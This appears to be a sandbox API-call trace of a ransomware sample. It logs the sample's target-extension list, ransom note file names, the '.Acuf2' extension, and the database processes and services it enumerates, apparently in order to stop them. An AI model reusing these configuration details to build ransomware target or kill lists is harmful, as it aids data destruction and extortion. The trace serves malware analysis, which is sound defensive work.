	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3328
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3340
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3358
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3398
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f33b0
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f33c8
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f33e0
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f33f8
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3410
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3428
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3440
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3458
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3470
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd470
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3488
	[0245.337] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f34a0
	[0245.337] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f34b8
	[0245.337] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f34d0
	[0245.337] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f34e8
	[0245.337] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3500
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521778, Size=0x800) returned 0x4f3780
	[0245.337] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0245.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x532fa8 | out: hHeap=0x4a0000) returned 1
	[0245.337] lstrlenW (lpString="") returned 0
	[0245.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4618 | out: hHeap=0x4a0000) returned 1
	[0245.337] lstrlenW (lpString=".Acuf2") returned 6
	[0245.337] lstrlenW (lpString=".Acuf2") returned 6
	[0245.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4618 | out: hHeap=0x4a0000) returned 1
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4648, Size=0x20) returned 0x4d98f8
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d98f8, Size=0x40) returned 0x4daab0
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daab0, Size=0x80) returned 0x51eb90
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd4e0, Size=0x8) returned 0x4dd4f0
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd4f0, Size=0x10) returned 0x4f4648
	[0245.337] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4648, Size=0x20) returned 0x4d9948
	[0245.337] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0245.337] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eb90 | out: hHeap=0x4a0000) returned 1
	[0245.338] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4678, Size=0x20) returned 0x4d9970
	[0245.338] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9970, Size=0x40) returned 0x4daab0
	[0245.338] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0245.338] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0245.338] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4daab0 | out: hHeap=0x4a0000) returned 1
	[0245.338] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4678, Size=0x20) returned 0x4d9970
	[0245.338] lstrlenW (lpString="Info.hta") returned 8
	[0245.338] lstrlenW (lpString="Info.hta") returned 8
	[0245.338] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9970 | out: hHeap=0x4a0000) returned 1
	[0245.338] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x532fa8, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe")) returned 0x1e
	[0245.338] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x532fa8 | out: hHeap=0x4a0000) returned 1
	[0245.338] lstrlenW (lpString="swpesp.exe") returned 10
	[0245.338] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9948, Size=0x40) returned 0x4daab0
	[0245.338] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4678, Size=0x20) returned 0x4d9948
	[0245.339] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4678, Size=0x20) returned 0x4d9970
	[0245.339] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9970, Size=0x40) returned 0x4daaf8
	[0245.339] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daaf8, Size=0x80) returned 0x51eb90
	[0245.340] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4f0b98
	[0245.341] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0b98 | out: hHeap=0x4a0000) returned 1
	[0245.341] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x532fa8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc
	[0245.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x542fb0 | out: hHeap=0x4a0000) returned 1
	[0245.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x532fa8 | out: hHeap=0x4a0000) returned 1
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd4f0, Size=0x8) returned 0x4dd4e0
	[0245.341] lstrlenW (lpString="%windir%;") returned 9
	[0245.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9948 | out: hHeap=0x4a0000) returned 1
	[0245.341] lstrlenW (lpString="C:\\Windows;") returned 11
	[0245.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff88 | out: hHeap=0x4a0000) returned 1
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4690, Size=0x20) returned 0x4d9948
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9948, Size=0x40) returned 0x4daaf8
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daaf8, Size=0x80) returned 0x51eb90
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4f0b98
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521790, Size=0x8) returned 0x5217a0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217a0, Size=0x10) returned 0x4f46d8
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f46d8, Size=0x20) returned 0x4d9948
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd4f0, Size=0x8) returned 0x521790
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd500, Size=0x8) returned 0x4dd4f0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217a0, Size=0x8) returned 0x5217b0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217b0, Size=0x10) returned 0x4f47a0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f47a0, Size=0x20) returned 0x4d9970
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521790, Size=0x10) returned 0x4f47a0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd4f0, Size=0x10) returned 0x4f47d0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521790, Size=0x8) returned 0x5217a0
	[0245.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217c0, Size=0x8) returned 0x5217d0
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f47a0, Size=0x20) returned 0x4d9998
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f47d0, Size=0x20) returned 0x4d99c0
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217e0, Size=0x8) returned 0x5217f0
	[0245.342] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0245.342] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0b98 | out: hHeap=0x4a0000) returned 1
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4848, Size=0x20) returned 0x4d9a10
	[0245.342] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4fff88, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0245.342] lstrlenW (lpString="C:\\") returned 3
	[0245.342] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0245.342] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff88 | out: hHeap=0x4a0000) returned 1
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521820, Size=0x82) returned 0x4dd948
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521840, Size=0x100) returned 0x4f0b98
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd948, Size=0x104) returned 0x4f4f88
	[0245.342] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0b98, Size=0x200) returned 0x4f50b0
	[0245.343] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x521830 | out: hHeap=0x4a0000) returned 1
	[0245.343] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f50b0 | out: hHeap=0x4a0000) returned 1
	[0245.343] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f48f0 | out: hHeap=0x4a0000) returned 1
	[0245.343] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51edb0 | out: hHeap=0x4a0000) returned 1
	[0245.343] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f48a8 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51ed28 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f48d8 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4f88 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f48c0 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd9d8 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4908 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dda68 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4920 | out: hHeap=0x4a0000) returned 1
	[0245.344] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4920, Size=0x20) returned 0x4d9a38
	[0245.344] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9a38, Size=0x40) returned 0x4daaf8
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x521800 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4848 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd8b8 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4878 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eca0 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4860 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x521810 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f4890 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd888 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da0c0 | out: hHeap=0x4a0000) returned 1
	[0245.344] lstrlenW (lpString="%systemdrive%") returned 13
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9a10 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eb90 | out: hHeap=0x4a0000) returned 1
	[0245.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x5217e0 | out: hHeap=0x4a0000) returned 1
	[0245.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x522f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c
	[0245.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4dbb20*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 85
	os_tid = 0x568


Thread:
	id = 87
	os_tid = 0x5c4

	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4890
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4890, Size=0x20) returned 0x4d9a38
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9a38, Size=0x40) returned 0x4dab40
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dab40, Size=0x80) returned 0x51eb90
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4f0b98
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4890
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4890, Size=0x20) returned 0x4d9a38
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9a38, Size=0x40) returned 0x4dab40
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dab40, Size=0x80) returned 0x51eb90
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4f0ca0
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f4890
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x5217e0
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4860
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217e0, Size=0x8) returned 0x521810
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4da0e0
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521810, Size=0x10) returned 0x4f4878
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4da100
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4d9a38
	[0245.527] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4878, Size=0x20) returned 0x4d9a60
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d9a88
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x16) returned 0x4da120
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4d9ab0
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f4878
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x521810
	[0245.527] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4dab40
	[0245.528] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x521810, Size=0x8) returned 0x5217e0
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x3c) returned 0x4dab88
	[0245.528] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x5217e0, Size=0x10) returned 0x4f4848
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4da140
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4da160
	[0245.528] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4848, Size=0x20) returned 0x4d9ad8
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4dda98
	[0245.528] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0245.528] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0b98 | out: hHeap=0x4a0000) returned 1
	[0245.528] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0245.528] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f0ca0 | out: hHeap=0x4a0000) returned 1
	[0245.528] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4d9bc8
	[0245.769] EnumServicesStatusExW (in: hSCManager=0x4d9bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0245.770] GetLastError () returned 0xea
	[0245.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x511de0
	[0245.770] EnumServicesStatusExW (in: hSCManager=0x4d9bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x511de0, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x511de0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0245.771] CloseServiceHandle (hSCObject=0x4d9bc8) returned 1
	[0245.773] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0245.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0245.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0245.773] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0245.773] lstrlenW (lpString="AudioSrv") returned 8
	[0245.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0245.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0245.773] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0245.773] lstrlenW (lpString="BFE") returned 3
	[0245.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0245.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0245.773] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0245.773] lstrlenW (lpString="CscService") returned 10
	[0245.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0245.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0245.773] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0245.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0245.773] lstrlenW (lpString="DcomLaunch") returned 10
	[0245.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0245.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0245.774] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0245.774] lstrlenW (lpString="Dhcp") returned 4
	[0245.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0245.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0245.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0245.774] lstrlenW (lpString="Dnscache") returned 8
	[0245.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0245.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0245.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0245.774] lstrlenW (lpString="eventlog") returned 8
	[0245.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0245.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0245.774] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0245.774] lstrlenW (lpString="EventSystem") returned 11
	[0245.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0245.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
